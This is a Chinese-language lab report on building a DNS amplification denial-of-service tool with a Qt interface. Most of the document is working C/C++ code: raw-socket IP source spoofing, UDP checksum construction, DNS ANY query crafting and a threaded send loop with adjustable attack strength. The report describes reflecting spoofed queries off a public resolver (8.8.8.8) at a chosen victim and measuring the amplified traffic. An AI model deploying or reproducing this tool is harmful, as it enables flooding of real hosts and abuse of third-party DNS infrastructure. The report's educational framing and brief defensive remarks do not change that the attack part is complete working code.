1.前言：
DOS攻击原理：发送大量的数据包消耗目标主机资源，使其无法正常工作。
DNS放大攻击的原理：伪造DNS数据包，向DNS服务器发送域名查询报文了，而DNS服务器返回的应答报文则会发送给被攻击主机。放大体现在请求DNS回复的类型为ANY，攻击者向服务器请求的包长度为69个字节，而服务器向被攻击主机回复的ANY类型DNS包长度为535字节，大约放大了7倍。
本次实验实现的是DOS+DNS放大攻击，在传输层使用UDP协议，应用层使用DNS协议，程序有界面，接受用户输入，用户还能调节发包的速度改变攻击强度。
2.程序框图：
3.DOS+DNS简易界面的设计
添加5个文本框，用来接受用户输入的被攻击的ip，发送的端口，服务器ip，发送接口名称，查询的域名。
添加一个滑块用来控制攻击的强度。
添加两个按钮控制攻击的开始和停止。
核心代码是attack按钮槽函数的实现，接受输入，并调用攻击函数。
void Widget::on_attack_pushButton_clicked()
{
QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();
QByteArray ifnamestr = ui->ifname_Edit->text().toLatin1();
QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();
QByteArray domainstr = ui->Domain_Edit->text().toLatin1();
dosattack=
new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);
dosattack->start();
}
4.构造发送DNS报文
因为我们要伪造源IP，发送DNS请求，所以我们的报文应该从IP头部开始构造，一直到UDP报文的数据部分。这里分为两个部分，IP头部和UDP头部作为一个部分，UDP的数据即DNS报文作为一个部分。
（1）IP伪首部+IP头部+UDP头部
UDP包在网络传输的时候要计算校验和，需要用到IP伪首部，IP伪首部在网络中不传输，只用作校验和的计算。我们构造两个数据结构，udpbuf填充UDP头部包括IP头部、udpfhrd填充IP伪首部。核心代码在sendudp函数里填充数据，以及检验和checksum函数的实现。
//IP头部+UDP头部
struct udpbuf
{
struct ip iph;
struct udphdr udp;
};
//IP伪首部
struct udpfhrd
{
struct in_addr ip_src;
struct in_addr ip_dst;
char zero;
char protocal;
short len;
};
//检验和函数
unsigned short checksum(unsigned short * buffer, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buffer++;
size -=sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum>>16)+ (cksum&0xffff);
cksum += (cksum>>16);
return (unsigned short)(~cksum);
}
//udp发送函数
void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,
char*data,int datalen)
{
int buflen = sizeof(udpbuf)+datalen;
char buf[buflen];
struct udpbuf *ubuf = (struct udpbuf *)buf;
struct sockaddr_ll toaddr;
struct in_addr targetIP,srcIP;
struct ifreq ifr;
int skfd;
if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
exit(1);
}
bzero(&toaddr, sizeof(toaddr));
bzero(&ifr, sizeof(ifr));
memcpy(ifr.ifr_name,ifname,strlen(ifname));
ioctl(skfd, SIOCGIFINDEX,&ifr);
toaddr.sll_ifindex = ifr.ifr_ifindex;
ubuf->iph.ip_v = IPVERSION;
ubuf->iph.ip_hl= sizeof(struct ip)>>2;
ubuf->iph.ip_tos = 0;
ubuf->iph.ip_len = htons(buflen);
ubuf->iph.ip_id = 0;
ubuf->iph.ip_off = 0;
ubuf->iph.ip_ttl = MAXTTL;
ubuf->iph.ip_p = IPPROTO_UDP;
ubuf->iph.ip_sum = 0;
inet_pton(AF_INET,dst_ip,&targetIP);
ubuf->iph.ip_dst = targetIP;
inet_pton(AF_INET,src_ip,&srcIP);
ubuf->iph.ip_src = srcIP;
ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));
ubuf->udp.source = htons(src_port);
ubuf->udp.dest = htons(dst_port);
ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);
ubuf->udp.check = 0;
memcpy(buf + sizeof(struct udpbuf),data,datalen);
int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);
char checksumbuf[csbuflen] ;
struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf;
fhrd->ip_dst = ubuf->iph.ip_dst;
fhrd->ip_src = ubuf->iph.ip_src;
fhrd->zero = 0;
fhrd->protocal = ubuf->iph.ip_p;
fhrd->len = ubuf->udp.len;
memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);
if(datalen % 2 != 0)
{
checksumbuf[csbuflen-1] = 0;
}
ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);
toaddr.sll_family = AF_INET;
sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));
close(skfd);
}
（2）DNS报文部分
同样构造一个数据结构 dnshdr来填充DNS报文，注意放大攻击的请求类型是ANY。
这一部分的核心是在DNS发送函数SendDns填充数据，以及查询名的转化，在DNS报文里查询名的存储格式是3www5baidu3com,用户提交的数据格式是www.baidu.com。
//DNS前12字节
struct dnshdr
{
unsigned short id;
unsigned short bz;
unsigned short wtcount;
unsigned short zyCount;
unsigned short sqCount;
unsigned short ewCount;
};
//DNS可变部分
struct questtype
{
unsigned short dnsType;
unsigned short dnsClass;
};
//sendDns函数，函数最后调用sendudp函数，将数据整合到sendudp函数中。
void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)
{
QList <QByteArray> domainlist= domain.split('.');
QByteArray domainName;
for (int i = 0; i<domainlist.length();i++)
{
domainName += domainlist.at(i).length();
domainName += domainlist.at(i);
}
domainName += '\0';
int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);
char buf[bufflen];
struct dnshdr * dnsh;
struct questtype * qtype;
dnsh = (struct dnshdr*)buf;
qtype= (struct questtype*)(buf +sizeof(struct dnshdr)+domainName.length());
dnsh->id = rand();
dnsh->bz = htons(0x0100);
dnsh->wtcount= htons(1);
dnsh->zyCount = htons(0);
dnsh->sqCount = htons(0);
dnsh->ewCount = htons(0);
memcpy(buf+sizeof(struct dnshdr),domainName.data(),domainName.length());
qtype->dnsType = htons(255);
qtype->dnsClass = htons(1);
sendudp(srcf_ip,dns,src_port, 53,ifname,buf,bufflen);
}
5.DNS放大攻击实现
这一部分创建一个DnsAttack类，实现DNS攻击，并通过usleep（Level）控制发包的速度，从而改变攻击的强度。
class DosAttack:public QThread
{
public:
DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain);
bool running = true;
protected:
void run();
private:
QByteArray dstipstr;
QByteArray ifnamestr;
QByteArray Dnsstr;
int Port;
int Level;
QByteArray Domainstr;
};
DosAttack::DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain)
{
dstipstr = dstip;
ifnamestr = ifname;
Port = port;
Dnsstr =dns;
Domainstr = domain;
Level =(10-level)*50;
}
void DosAttack::run()
{
char * dstip = dstipstr.data();
char * ifname = ifnamestr.data();\
char * dns = Dnsstr.data();
while(running == true)
{
SendDns(ifname,dstip,Port,dns,Domainstr);
usleep(Level);
}
}
6.实验截图
运行的界面，伪造172.20.218.233发出DNS请求。
通过wireshark抓包工具看到我们的DNS请求包已经成功发出，包的长度为69个字节，请求类型为ANY。
在目标主机打开wireshark，接受到来自8.8.8.8发送来的应答包，可以看到包长度为535个字节，放大了7倍。
调节攻击的强度为5
wireshark分析速度，峰值约为1000
调节攻击的强度为10
wireshark分析速度，峰值约为3500
那么我们的DOS攻击和DNS放大攻击两大功能就成功实现了。
7.实验总结
本次实验使用QT作为程序开发的框架，实现了DOS和DNS放大攻击程序的编写，对网络数据包，网络编程以及网络安全有了更加深刻的理解，网络简单易用的设计原理，使得攻击者可以轻易伪造数据。在重要数据传输的时候，要使用更加安全的协议如TCP，HTTPS等。
